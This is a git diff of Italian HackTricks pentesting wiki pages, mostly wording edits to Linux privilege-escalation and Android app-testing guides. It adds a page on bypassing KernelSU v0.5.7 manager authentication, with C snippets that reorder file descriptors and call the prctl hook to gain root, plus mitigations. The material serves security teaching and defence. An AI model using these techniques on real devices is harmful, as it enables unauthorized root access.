Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory genitore di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
> [!TIP]
> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti
@ -1342,11 +1342,11 @@ Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetai
**Riferimento vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<whatever>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**.
Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<qualcosa>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**.
Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
Nel mio caso, il `NAME=` attribuito in questi script di rete non è gestito correttamente. Se hai **spazio bianco/nullo nel nome, il sistema tenta di eseguire la parte dopo lo spazio bianco/nullo**. Questo significa che **tutto dopo il primo spazio bianco viene eseguito come root**.
Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazio bianco/nullo nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/nullo**. Questo significa che **tutto dopo il primo spazio bianco viene eseguito come root**.
Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1358,11 +1358,11 @@ DEVICE=eth0
La directory `/etc/init.d` è la casa di **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `avviare`, `fermare`, `riavviare` e talvolta `ricaricare` i servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`.
D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per i compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un layer di compatibilità in Upstart.
D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per i compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un livello di compatibilità in Upstart.
**systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come l'avvio di demoni su richiesta, la gestione dell'automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione del sistema.
**systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come l'avvio di demoni su richiesta, la gestione dell'automount e istantanee dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione del sistema.
## Altri Trucchi
## Altri trucchi
### Escalation dei privilegi NFS
@ -1426,4 +1426,12 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Framework di rooting Android: abuso del canale manager
I framework di rooting Android comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un gestore nello spazio utente. Un'autenticazione debole del gestore (ad es., controlli di firma basati sull'ordine FD o schemi di password scadenti) può consentire a un'app locale di impersonare il gestore e ottenere i privilegi di root su dispositivi già rootati. Scopri di più e dettagli di sfruttamento qui:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

190
src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md Normal file
View File

@ -0,0 +1,190 @@
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
{{#include ../../banners/hacktricks-training.md}}
I framework di rooting come KernelSU, APatch, SKRoot e Magisk patchano frequentemente il kernel Linux/Android ed espongono funzionalità privilegiate a un'app "manager" in userspace non privilegiata tramite una syscall hookata. Se il passaggio di autenticazione del manager è difettoso, qualsiasi app locale può accedere a questo canale e aumentare i privilegi su dispositivi già rootati.
Questa pagina astratta le tecniche e le insidie scoperte nella ricerca pubblica (in particolare l'analisi di Zimperium su KernelSU v0.5.7) per aiutare sia i team rossi che blu a comprendere le superfici di attacco, le primitive di sfruttamento e le mitigazioni robuste.
---
## Pattern architetturale: canale manager hookato da syscall
- Il modulo/patch del kernel hooka una syscall (comunemente prctl) per ricevere "comandi" da userspace.
- Il protocollo tipicamente è: magic_value, command_id, arg_ptr/len ...
- Un'app manager in userspace si autentica prima (ad esempio, CMD_BECOME_MANAGER). Una volta che il kernel contrassegna il chiamante come un manager fidato, i comandi privilegiati vengono accettati:
- Concedi root al chiamante (ad esempio, CMD_GRANT_ROOT)
- Gestisci le liste di autorizzazione/negazione per su
- Regola la politica SELinux (ad esempio, CMD_SET_SEPOLICY)
- Interroga versione/configurazione
- Poiché qualsiasi app può invocare syscall, la correttezza dell'autenticazione del manager è critica.
Esempio (design di KernelSU):
- Syscall hookata: prctl
- Valore magico per deviare al gestore di KernelSU: 0xDEADBEEF
- I comandi includono: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, ecc.
---
## Flusso di autenticazione di KernelSU v0.5.7 (come implementato)
Quando userspace chiama prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU verifica:
1) Controllo del prefisso del percorso
- Il percorso fornito deve iniziare con un prefisso atteso per l'UID del chiamante, ad esempio /data/data/<pkg> o /data/user/<id>/<pkg>.
- Riferimento: core_hook.c (v0.5.7) logica del prefisso del percorso.
2) Controllo della proprietà
- Il percorso deve essere di proprietà dell'UID del chiamante.
- Riferimento: core_hook.c (v0.5.7) logica della proprietà.
3) Controllo della firma APK tramite scansione della tabella FD
- Itera i descrittori di file aperti (FD) del processo chiamante.
- Scegli il primo file il cui percorso corrisponde a /data/app/*/base.apk.
- Analizza la firma APK v2 e verifica contro il certificato ufficiale del manager.
- Riferimenti: manager.c (iterando FDs), apk_sign.c (verifica APK v2).
Se tutti i controlli passano, il kernel memorizza temporaneamente l'UID del manager e accetta comandi privilegiati da quell'UID fino al reset.
---
## Classe di vulnerabilità: fidarsi "del primo APK corrispondente" dall'iterazione FD
Se il controllo della firma si lega a "il primo /data/app/*/base.apk corrispondente" trovato nella tabella FD del processo, in realtà non sta verificando il pacchetto del chiamante. Un attaccante può pre-posizionare un APK firmato legittimamente (quello del vero manager) in modo che appaia prima nella lista FD rispetto al proprio base.apk.
Questa fiducia per indiretto consente a un'app non privilegiata di impersonare il manager senza possedere la chiave di firma del manager.
Proprietà chiave sfruttate:
- La scansione FD non si lega all'identità del pacchetto del chiamante; si limita a corrispondere a stringhe di percorso.
- open() restituisce il FD disponibile più basso. Chiudendo prima i FD numerati inferiormente, un attaccante può controllare l'ordinamento.
- Il filtro controlla solo che il percorso corrisponda a /data/app/*/base.apk – non che corrisponda al pacchetto installato del chiamante.
---
## Precondizioni di attacco
- Il dispositivo è già rootato con un framework di rooting vulnerabile (ad esempio, KernelSU v0.5.7).
- L'attaccante può eseguire codice arbitrario non privilegiato localmente (processo dell'app Android).
- Il vero manager non si è ancora autenticato (ad esempio, subito dopo un riavvio). Alcuni framework memorizzano l'UID del manager dopo il successo; devi vincere la corsa.
---
## Schema di sfruttamento (KernelSU v0.5.7)
Passaggi ad alto livello:
1) Costruisci un percorso valido per la directory dei dati della tua app per soddisfare i controlli di prefisso e proprietà.
2) Assicurati che un base.apk genuino di KernelSU Manager sia aperto su un FD numerato inferiormente rispetto al tuo base.apk.
3) Invoca prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) per superare i controlli.
4) Emissione di comandi privilegiati come CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY per mantenere l'elevazione.
Note pratiche sul passaggio 2 (ordinamento FD):
- Identifica il tuo FD di processo per il tuo /data/app/*/base.apk camminando nei symlink di /proc/self/fd.
- Chiudi un FD basso (ad esempio, stdin, fd 0) e apri prima l'APK legittimo del manager in modo che occupi fd 0 (o qualsiasi indice inferiore al tuo fd base.apk).
- Raggruppa l'APK legittimo del manager con la tua app in modo che il suo percorso soddisfi il filtro ingenuo del kernel. Ad esempio, posizionalo sotto un sottopercorso che corrisponde a /data/app/*/base.apk.
Esempi di frammenti di codice (Android/Linux, solo illustrativi):
Enumerare i FD aperti per localizzare le voci base.apk:
```c
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
```
Forza un FD con numero inferiore a puntare all'APK del manager legittimo:
```c
#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
```
Autenticazione del manager tramite hook prctl:
```c
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
```
Dopo il successo, comandi privilegiati (esempi):
- CMD_GRANT_ROOT: promuovere il processo corrente a root
- CMD_ALLOW_SU: aggiungere il tuo pacchetto/UID all'elenco di autorizzazione per su persistente
- CMD_SET_SEPOLICY: regolare la politica SELinux come supportato dal framework
Suggerimento su race/persistenza:
- Registrare un ricevitore BOOT_COMPLETED in AndroidManifest (RECEIVE_BOOT_COMPLETED) per avviarsi presto dopo il riavvio e tentare l'autenticazione prima del vero manager.
---
## Indicazioni per rilevamento e mitigazione
Per gli sviluppatori di framework:
- Legare l'autenticazione al pacchetto/UID del chiamante, non a FDs arbitrari:
- Risolvere il pacchetto del chiamante dal suo UID e verificare contro la firma del pacchetto installato (tramite PackageManager) piuttosto che scansionare FDs.
- Se solo kernel, utilizzare un'identità del chiamante stabile (credenziali del task) e convalidare su una fonte di verità stabile gestita da init/userspace helper, non FDs di processo.
- Evitare controlli di prefisso del percorso come identità; sono facilmente soddisfacibili dal chiamante.
- Utilizzare una sfida-risposta basata su nonce attraverso il canale e cancellare qualsiasi identità del manager memorizzata nella cache all'avvio o in eventi chiave.
- Considerare IPC autenticato basato su binder invece di sovraccaricare syscalls generici quando possibile.
Per difensori/team blu:
- Rilevare la presenza di framework di rooting e processi manager; monitorare le chiamate prctl con costanti magiche sospette (ad es., 0xDEADBEEF) se hai telemetria del kernel.
- Su flotte gestite, bloccare o allertare sui ricevitori di avvio da pacchetti non affidabili che tentano rapidamente comandi manager privilegiati dopo l'avvio.
- Assicurarsi che i dispositivi siano aggiornati a versioni del framework patchate; invalidare gli ID del manager memorizzati nella cache all'aggiornamento.
Limitazioni dell'attacco:
- Colpisce solo i dispositivi già rootati con un framework vulnerabile.
- Tipicamente richiede una finestra di riavvio/race prima che il manager legittimo si autentichi (alcuni framework memorizzano nella cache l'UID del manager fino al reset).
---
## Note correlate tra i framework
- L'autenticazione basata su password (ad es., versioni storiche di APatch/SKRoot) può essere debole se le password sono indovinabili/bruteforceabili o se le convalide sono difettose.
- L'autenticazione basata su pacchetto/firma (ad es., KernelSU) è più forte in linea di principio ma deve legarsi al chiamante effettivo, non a artefatti indiretti come le scansioni di FD.
- Magisk: CVE-2024-48336 (MagiskEoP) ha dimostrato che anche ecosistemi maturi possono essere suscettibili a spoofing dell'identità che porta all'esecuzione di codice con root all'interno del contesto del manager.
---
## Riferimenti
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
- [KernelSU project](https://kernelsu.org/)
- [APatch](https://github.com/bmax121/APatch)
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
{{#include ../../banners/hacktricks-training.md}}

90
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Nozioni di base sulle Applicazioni Android
## Nozioni di Base sulle Applicazioni Android
È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
@ -13,7 +13,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
@ -25,7 +25,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere
## Altri trucchi interessanti
- [Spoofing della tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
- [API privilegiata Shizuku (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md)
- [Shizuku Privileged API (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md)
- [Sfruttamento di meccanismi di aggiornamento in-app insicuri](insecure-in-app-update-rce.md)
- [Abuso dei Servizi di Accessibilità (Android RAT)](accessibility-services-abuse.md)
- **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Static Analysis
Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** utilizzando un decompilatore.\
@ -61,7 +65,7 @@ Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disp
### Looking for interesting Info
Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche per **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
**Firebase**
@ -74,19 +78,19 @@ L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può ri
**Vulnerabilità** identificate dal **Manifest.xml** includono:
- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
- **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
- **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli schemi URL per le vulnerabilità di input.
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. La configurazione dei FileProviders dovrebbe essere esaminata con attenzione.
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per le vulnerabilità di input.
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note degli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
### Tapjacking
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
In effetti, sta **ciecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
Trova ulteriori informazioni in:
@ -108,25 +112,25 @@ android-task-hijacking.md
**Internal Storage**
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li ha **creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
1. **Static Analysis:**
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato con attenzione**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
2. **Dynamic Analysis:**
- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
**External Storage**
Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni:
1. **Accessibilità**:
- I file su memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
2. **Preoccupazioni di Sicurezza**:
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** su memoria esterna.
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
- La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
3. **Gestione dei Dati dalla Memoria Esterna**:
- Esegui sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
- Memorizzare eseguibili o file di classe su memoria esterna per il caricamento dinamico è fortemente sconsigliato.
- Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
- Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -158,14 +162,14 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
**Utilizzo di algoritmi insicuri e/o deprecati**
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti al brute-force con sale.
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se si utilizzano **hash** per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti alla **forza bruta** con sale.
### Altri controlli
- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti.
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza.
- Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**.
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguire** per verificare se è stata modificata.
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata.
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK.
### Applicazione React Native
@ -186,7 +190,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell
### Applicazioni Superpacked
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
### Analisi statica automatizzata del codice
@ -246,7 +250,7 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON** _ _**VirtualBox** per evitare potenziali errori._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON** _**VirtualBox** per evitare potenziali errori._)
- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
> [!TIP]
@ -256,7 +260,7 @@ Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare
![](<../../images/image (277).png>)
Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi selezionare **Modalità rete Bridge** (questo sarà utile se ti connetterai alla VM Android da una VM diversa con gli strumenti).
Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi selezionare **Modalità di rete Bridge** (questo sarà utile se ti connetterai alla VM Android da una VM diversa con gli strumenti).
#### Usa un dispositivo fisico
@ -291,9 +295,9 @@ Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli
Come pentester, **cerca di dare un'occhiata a questi log**.
**Dati di analisi inviati a terze parti**
**Dati di analisi inviati a terzi**
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
### DB SQLite
@ -307,7 +311,7 @@ Enumera le tabelle utilizzando `.tables` e enumera le colonne delle tabelle eseg
### Drozer (Attività di sfruttamento, Content Providers e Servizi)
Da [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti consente di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come utilizzare il meccanismo di comunicazione interprocesso (IPC) di Android e interagire con il sistema operativo sottostante.\
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Content Providers**, come imparerai nelle sezioni seguenti.
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Content Providers** come imparerai nelle sezioni seguenti.
### Sfruttare attività esportate
@ -316,7 +320,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
**Bypass dell'autorizzazione**
Quando un'Activity è esportata, puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi**.
